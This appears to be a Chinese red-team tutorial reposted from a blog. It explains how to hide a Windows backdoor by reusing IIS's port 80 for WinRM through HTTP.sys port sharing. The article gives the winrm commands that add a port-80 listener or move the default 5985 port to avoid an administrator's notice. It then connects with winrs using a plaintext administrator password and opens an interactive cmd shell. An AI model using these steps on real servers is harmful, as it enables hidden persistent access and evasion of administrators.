红蓝对抗 | Windows利用WinRM实现端口复用打造隐蔽后门
红蓝对抗 | Windows利用WinRM实现端口复用打造隐蔽后门
目录
WinRM端口复用原理
端口复用配置
新增80端口监听
修改WinRM默认监听的端口
远程连接WinRM
WinRM端口复用原理
该端口复用的原理是使用Windows的远程管理服务WinRM，结合 HTTP.sys 驱动自带的端口复用功能，一起实现正向的端口复用后门。
关于WinRM服务，传送门：WinRM远程管理工具的使用
而HTTP.sys驱动是IIS的主要组成部分，主要负责HTTP协议相关的处理，它有一个重要的功能叫Port Sharing(端口共享)。所有基于HTTP.sys驱动的HTTP应用都可以共享同一个端口，只需要各自注册的URL前缀不一样。而WinRM就是在HTTP.sys上注册了 wsman 的URL前缀，默认监听 5985端口。因此，在安装了IIS的Windows服务器上，开启WinRM服务后修改默认监听端口为80或新增一个80端口的监听即可实现端口复用，通过Web端口登录Windows服务器。
使用 netsh http show servicestate 命令可以查看所有在 HTTP.sys 驱动上注册过的URL前缀。
端口复用配置
新增80端口监听
对于Windows Server 2012以上的服务器操作系统中，WinRM服务默认启动并监听了5985端口。如果服务器本来就监听了80和5985端口，则所以我们既需要保留原本的5985监听端口，同时需要新增Winrm监听80端口。这样的话，WinRM同时监听80和5985端口。既能保证原来的5985端口管理员可以正常使用，我们也能通过80端口远程连接WinRM。
通过下面的命令，可以新增WinRM一个80端口的监听。
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
查看监听端口，80和5985都在监听
80端口仍然可以正常访问网页
修改WinRM默认监听的端口
如果该计算机上原本没有开启WinRM服务的话，则需要将WinRm端口监听端口修改为80端口。不然管理员看到该机器开起来5985端口的话，肯定会起疑心。
快速启动WinRM
winrm quickconfig -q
修改WinRM默认端口为80
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
查看监听端口，只有80，没有5985
配置完成之后，原本的HTTP服务可以正常访问，我们也可以通过80端口进行远程WinRM连接管理。
远程连接WinRM
本地需要连接WinRM服务时，首先也需要配置启动WinRM服务。如果是工作组环境的话，还需要设置信任连接的主机，执行以下两条命令即可。
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
通过WinRM连接，并执行whoami命令
winrs -r:http://192.168.10.20 -u:administrator -p:root whoami
通过WinRM连接，并获得交互式的shell
winrs -r:http://192.168.10.20 -u:administrator -p:root cmd
来源：谢公子的博客
责编：凉粉